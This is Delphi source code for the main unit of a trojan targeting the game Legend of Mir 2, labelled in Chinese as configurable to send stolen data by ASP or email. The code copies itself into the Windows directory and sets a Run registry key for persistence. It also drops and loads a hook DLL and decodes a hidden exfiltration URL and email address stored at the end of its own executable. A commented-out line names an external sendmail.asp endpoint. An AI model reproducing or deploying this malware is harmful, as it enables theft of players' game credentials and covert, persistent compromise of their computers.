unitmain.pas

传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置

unit UnitMain;

interface

uses
  Windows, SysUtils2, reg,MySysUtils;

type
  TStartHook = procedure(html1,html2: pchar); stdcall;
  TStopHook = procedure; stdcall;
const
  ClassName = 'TMyCQMuMa';
  WM_CLOSE = $0010;
{  consthtml1 = 'http://www.138soft.com/mir2/sendmail.asp?tomail=[e-mail]&MailBody='#0+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
    consthtml2 = #0'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'+
    'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; }
{const
  fmOpenRead       = $0000;
  fmOpenWrite      = $0001;
  fmOpenReadWrite  = $0002;
  fmShareDenyNone  = $0030; }
type
  LongRec = packed record
    case Integer of
      0: (Lo, Hi: Word);
      1: (Words: array [0..1] of Word);
      2: (Bytes: array [0..3] of Byte);
  end;

var
  StartHook: TStartHook;
  StopHook: TStopHook;
  Lib: THandle;

procedure Main;

implementation

function FindClassEnumProc(wnd: HWND; lParam: LPARAM): BOOL; stdcall;
type
  TFindClass = record
    OldWnd: HWnd;
    AlreadFind: boolean;
    OldClassName: array[0..255] of char;
  end;
  PFindClass = ^TFindClass;
var
  classname: array[0..255] of char;
begin
  GetClassName(Wnd, className, 255);
  if (strcomp(classname, PFindClass(lParam)^.OldClassName) = 0) and
    (PFindClass(lParam)^.OldWnd <> wnd) then
  begin
    if IsIconic(Wnd) then
      ShowWindow(Wnd, SW_SHOWNORMAL)
    else
      SetForegroundWindow(Wnd);
    PFindClass(lParam)^.AlreadFind := true;
    result := false;
  end
  else result := true;
end;

function ApplicationClassIfExists(Wndme: Hwnd; WndClass: string): Boolean;
type
  TFindClass = record
    OldWnd: HWnd;
    AlreadFind: boolean;
    OldClassName: array[0..255] of char;
  end;
  PFindClass = ^TFindClass;
var
  hSem: THandle;
  t: TFindClass;
begin
  Result := False;
  hSem := CreateSemaphore(nil, 0, 1, pchar('Semaphore' + WndClass));
  if ((hSem <> 0) and (GetLastError() = ERROR_ALREADY_EXISTS)) then
  begin //如果已存在这个信号灯
    CloseHandle(hSem);
    t.AlreadFind := false;
    strcopy(t.OldClassName, pchar(WndClass));
    t.OldWnd := Wndme;
    EnumWindows(@FindClassEnumProc, integer(@t));
    if t.AlreadFind then Result := True;
  end;
end;

function GetMyWindowsDirectory: string;
var
  i: DWORD;
begin
  i := MAX_PATH + 1;
  setlength(result, i);
  i := GetWindowsDirectory(@result[1], i);
  setlength(result, i);
  if result[i] <> '\' then result := result + '\';
end;

function FileAge(const FileName: string): Integer;
var
  Handle: THandle;
  FindData: TWin32FindData;
  LocalFileTime: TFileTime;
begin
  Handle := FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result := -1;
end;

function FileExists(const FileName: string): Boolean;
begin
  Result := FileAge(FileName) <> -1;
end;

procedure ExtractRes(ResType, ResName, ResNewName: string);
var
  HResInfo: THandle;
  HGlobal: THandle;
  FMemory: Pointer;
  FSize: Longint;
  handle:THandle;
  Wsize:longword;
  procedure SetPointer(Ptr: Pointer; Size: Longint);
  begin
    FMemory := Ptr;
    FSize := Size;
  end;
  function Initialize(Instance: THandle; Name, ResType: PChar):boolean;
  begin
    result:=false;
    HResInfo := FindResource(Instance, Name, ResType);
    if HResInfo = 0 then Exit;
    HGlobal := LoadResource(Instance, HResInfo);
    if HGlobal = 0 then Exit;
    SetPointer(LockResource(HGlobal), SizeOfResource(Instance, HResInfo));
    result:=true;
  end;
begin
  if not Initialize(hInstance, PChar(ResName), PChar(ResType)) then exit;
  if fileexists(ResNewName) then Deletefile(pchar(ResNewName));
  try
    handle := Integer(CreateFile(PChar(ResNewName), GENERIC_READ or GENERIC_WRITE,
      0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
    WriteFile(Handle, FMemory^, FSize, Wsize, nil);
    CloseHandle(handle);  
  except
  end;
  UnlockResource(HGlobal);
  FreeResource(HGlobal);
end;
function  MyGetUrlAndEmailAddressBySelf:String;
var
hFile:THandle;
iSize:integer;
Str:String;
i:integer;
begin
  Result:='';
  //建立读文件句柄
     hFile := CreateFile(Pchar(GetModuleName(HInstance)),
                      GENERIC_READ,
                      FILE_SHARE_READ,
                      nil,
                      OPEN_EXISTING,
                      0,
                      0);

     if hFile = INVALID_HANDLE_VALUE then Exit;
     FileSeek(hFile,-Sizeof(iSize),2);
     FileRead(hFile,iSize,Sizeof(integer));
     FileSeek(hFile,-(Sizeof(integer)+iSize),2);
     SetLength(Str,iSize);
     FileRead(hFile,Str[1],iSize);
     CloseHandle(hFile);
     Result:='';
     for i:=1 to Length(Str) do Result:=Result+Chr(Ord(Str[i])+28);
    // Result:=Str;
end;
procedure Main;
const
  file1 = '_Win32.exe';
  file2 = '_Win32.dll';
var
  msg: TMsg;
  pathD, pathS: string;
  AspUrl,EmailUrl:string;
StrRead:string;
iPos:integer;
begin
  if (ApplicationClassIfExists(hInstance, ClassName)) then
  begin
    //showmessage('exists');
    exit;
  end;
  pathS := extractfilepath(paramstr(0));
  if lowercase(pathS) <> lowercase(GetMyWindowsDirectory) then
  begin 
    pathD := GetMyWindowsDirectory;
    copyfile(pchar(paramstr(0)), pchar(pathD + file1), false);
//    copyfile(pchar(pathS +file2), pchar(pathD + file2), false);
//    copyfile(pchar(pathS +file3), pchar(pathD + file3), false);
    AddValue2(HKEY_LOCAL_MACHINE, 'software\microsoft\windows\currentversion\run', 'WinDll32_', pchar(pathD + file1));
    //winexec(pchar(pathD +file1+' /d'),sw_normal);
    //exit;
  end;
  Lib := LoadLibrary(file2);
  if Lib = 0 then
  begin
    pathD := GetMyWindowsDirectory;
    ExtractRes('dll', 'dll1', pathD+file2);
    Lib :=LoadLibrary(pchar(pathD+file2));
  end;
  if Lib = 0 then exit;
  @StartHook := GetProcAddress(lib, 'StartHook');
  @StopHook := GetProcAddress(lib, 'StopHook');
//  writedat(string(pchar(consthtml1))+':'+ string(pchar(consthtml2)),'c:\game.txt');
//  exit;

StrRead:=MyGetUrlAndEmailAddressBySelf;
iPos:=Pos(#13,StrRead);
AspUrl:=Copy(StrRead,1,Pred(iPos));
Delete(StrRead,1,iPos);
EmailUrl:=StrRead;

  StartHook(Pchar(AspUrl), Pchar(EmailUrl));
  while true do
  begin
    if PeekMessage(Msg, hinstance, 0, 0, PM_REMOVE) then
    begin
      if (msg.message = WM_CLOSE {WM_QUIT}) then break;
      TranslateMessage(msg);
      DispatchMessage(msg);
    end;
    sleep(500);
  end;
  StopHook;
end;
     
initialization

finalization

end.